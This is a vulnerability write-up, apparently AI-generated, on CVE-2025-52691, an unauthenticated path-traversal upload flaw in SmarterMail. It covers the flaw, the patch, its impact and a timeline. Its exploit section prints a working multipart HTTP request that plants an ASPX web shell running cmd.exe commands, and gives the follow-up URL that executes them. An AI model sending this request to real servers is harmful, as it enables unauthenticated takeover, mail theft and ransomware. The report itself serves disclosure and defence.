CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-52691
10.072.70%

Return to Sender: SmarterMail Remote Code Execution (CVE-2025-52691)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 23, 2026·6 min read·38 visits

Active ExploitationCISA KEV ListedRansomware Use

Executive Summary (TL;DR)

Unauthenticated RCE in SmarterMail via the file upload API. Attackers can manipulate the 'guid' parameter in a JSON payload to traverse directories and write .aspx shells to the web root. Rated CVSS 10.0 and currently exploited in the wild.

A critical RCE vulnerability in SmarterTools SmarterMail allows unauthenticated attackers to upload arbitrary files—including web shells—via path traversal in the API. This flaw grants SYSTEM-level access to the mail server, turning a collaboration platform into a persistent backdoor.

The Hook: The Poor Man's Exchange

If you are a sysadmin who manages email servers but doesn't have the budget (or the patience) for Microsoft Exchange, you probably run SmarterMail. It is the rugged, utilitarian alternative—a .NET-based mail server that does exactly what it says on the tin. But like many legacy enterprise applications that have evolved over decades, its codebase is a geological layering of different eras of web development practices. Somewhere in those layers, a developer made a classic mistake: trusting the user.

CVE-2025-52691 isn't just a bug; it is a catastrophe. It represents the "Holy Trinity" of exploitation: Unauthenticated, Remote, and Code Execution. Even worse, it runs with high privileges (often SYSTEM) on Windows servers. When you compromise a mail server, you don't just get a box; you get the organization's nervous system. You can read CEO emails, reset passwords for other services, and pivot internally with the authority of a trusted device.

This vulnerability was silently patched in October 2025, leaving a three-month gap where only the vendor—and likely a few sharp-eyed threat actors—knew the door was wide open. It wasn't until watchTowr Labs and others tore apart the patch in early 2026 that the rest of the world realized their mail servers were ticking time bombs.

The Flaw: A GUID by Any Other Name

The vulnerability lives in the FileUploadController, specifically within the /api/upload endpoint. Modern web apps usually protect file uploads like a dragon guarding gold, but SmarterMail's implementation had a fatal architectural flaw. The endpoint was decorated with [AuthenticatedService(AllowAnonymous = true)]. Yes, you read that correctly. It is an "Authenticated Service" that explicitly allows anonymous access. This is the digital equivalent of a "Do Not Enter" sign on an unlocked door.

Once inside, the logic gets murkier. The API accepts a multipart/form-data POST request. One of the parameters, contextData, is a JSON string. The server deserializes this string into an internal object called PostUploadProcessingTargetData. This object contains a property named guid.

Here is where the logic falls apart. The developers likely intended this guid to be a standard 128-bit identifier (e.g., 550e8400-e29b...) to organize temporary files or attachments. However, they failed to enforce that assumption. They didn't check if it was a GUID. They didn't check if it contained path characters. They simply took this string and concatenated it into a file path. By supplying a "guid" that looked like ../../../../inetpub/wwwroot, an attacker could break out of the intended temporary directory and write files anywhere the service account had write permissions.

The Code: Anatomy of a Disaster

Let's look at the logic flow to understand why this broke. While we cannot paste proprietary source code verbatim, we can reconstruct the logic based on the binary analysis and patch diffs. The vulnerability stems from how the backend processes the context parameter when it is set to attachment.

The Vulnerable Logic

// Pseudo-code representation of the vulnerable flow
[HttpPost]
[AuthenticatedService(AllowAnonymous = true)] // <--- First mistake
public ActionResult Upload() {
    // ... request parsing ...
    
    // 1. Extract the JSON payload from the form data
    string contextDataJson = Request.Form["contextData"];
    var targetData = JsonConvert.DeserializeObject<PostUploadProcessingTargetData>(contextDataJson);
    
    // 2. Extract the 'guid' without validation
    string userProvidedGuid = targetData.guid; 
    
    // 3. Construct the path. 
    // The application *thinks* it's saving to: App_Data/Attachments/{GUID}/{filename}
    // But it doesn't sanitize {GUID}.
    string savePath = Path.Combine(baseAttachmentPath, userProvidedGuid, fileName);
    
    // 4. Write the file
    File.WriteAllBytes(savePath, fileBytes);
}

The developers did a decent job sanitizing the fileName itself to prevent shell.aspx from becoming ../../shell.aspx. However, they completely neglected the directory structure component (userProvidedGuid). This is a classic "defense in depth" failure—locking the window (filename) while leaving the front door (directory path) wide open.

The Fix

In Build 9413, SmarterTools added a sanity check. They now parse the guid string to ensure it is technically a valid GUID structure before using it in any path operations. If Guid.TryParse() fails, the request is rejected. It’s a one-line fix for a catastrophic problem.

The Exploit: Dropping the Shell

Exploiting this is trivially easy once you know the parameter names. We don't need authentication. We don't need complex memory corruption. We just need a POST request.

The goal is to upload a webshell (an ASPX script that executes commands) into a directory that the IIS web server will execute. Usually, this is the web root. In SmarterMail installations, this might be C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\ or a standard IIS inetpub path depending on the deployment config.

Here is what the kill chain looks like:

  1. Craft the Payload: Create a malicious ASPX file (e.g., shell.aspx) that takes a query parameter and passes it to cmd.exe.
  2. Construct the JSON: We create a JSON object for the contextData parameter: {"guid": "../../../../MRS/App_Data/"}.
  3. Send the Request: We fire this at /api/upload.

The Smoking Gun (HTTP Request)

POST /api/upload HTTP/1.1
Host: target-mail-server.com
Content-Type: multipart/form-data; boundary=----HackerBoundary
 
------HackerBoundary
Content-Disposition: form-data; name="context"
 
attachment
------HackerBoundary
Content-Disposition: form-data; name="contextData"
 
{"guid":"../../../../../../SmarterMail/MRS/App_Data/"}
------HackerBoundary
Content-Disposition: form-data; name="files"; filename="shell.aspx"
 
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]); %>
------HackerBoundary--

If successful, the server responds with 200 OK. The attacker then simply navigates to https://target-mail-server.com/App_Data/shell.aspx?cmd=whoami and watches nt authority\system appear on the screen.

The Impact: Total Ownership

Why is this CVSS 10.0? Because in the Windows world, context is king. SmarterMail runs as a service. That service requires extensive permissions to bind to ports (25, 110, 143, 443), access the file system (to store gigabytes of mail), and interact with the OS.

When an attacker lands a shell here, they are not just a low-privileged www-data user like you might find on a hardened Linux Nginx box. They are often SYSTEM. From here, the attacker can:

  • Exfiltrate Data: Dump every email on the server. Corporate espionage goldmine.
  • Pivot: Use the mail server as a beachhead to launch attacks against the internal Domain Controller.
  • Deploy Ransomware: Encrypt the mail store. For a company that relies on email, this is an extinction-level event.
  • Persistence: Install a legitimate-looking service or a scheduled task to ensure they stay in, even if the web shell is deleted.

This vulnerability is currently in the CISA KEV (Known Exploited Vulnerabilities) catalog. Ransomware groups are actively scanning for it. If you have an unpatched SmarterMail instance facing the internet, statistically speaking, it is already compromised.

Official Patches

SmarterToolsSmarterMail Release Notes (Build 9413)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
72.70%
Top 1% most exploited
2,000
Estimated exposed hosts via Shodan

Affected Systems

SmarterTools SmarterMail Build 9406 and earlierSmarterMail Legacy Versions (potentially affected due to shared codebase)

Affected Versions Detail

Product
Affected Versions
Fixed Version
SmarterMail
SmarterTools
<= Build 9406Build 9413
AttributeDetail
CWE IDCWE-434 / CWE-22
Attack VectorNetwork (API)
CVSS v3.110.0 (Critical)
EPSS Score0.72702 (72.7%)
Privileges RequiredNone (Unauthenticated)
Exploit StatusActive / In-the-Wild

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1505.003Server Software Component: Web Shell
Persistence
T1059.001Command and Scripting Interpreter: PowerShell
Execution
CWE-434
Unrestricted Upload of File with Dangerous Type

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Known Exploits & Detection

watchTowr LabsSafe detection artifact generator
DeathShotXDEnhanced PoC with persistence features
NucleiDetection Template Available

Vulnerability Timeline

Vendor releases Build 9413 silently patching the issue
2025-10-10
CVE-2025-52691 published
2025-12-29
watchTowr Labs publishes deep-dive analysis
2026-01-08
Added to CISA Known Exploited Vulnerabilities (KEV)
2026-01-26

References & Sources

  • [1]watchTowr Labs Technical Analysis
  • [2]NVD Entry
  • [3]CISA KEV Catalog

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.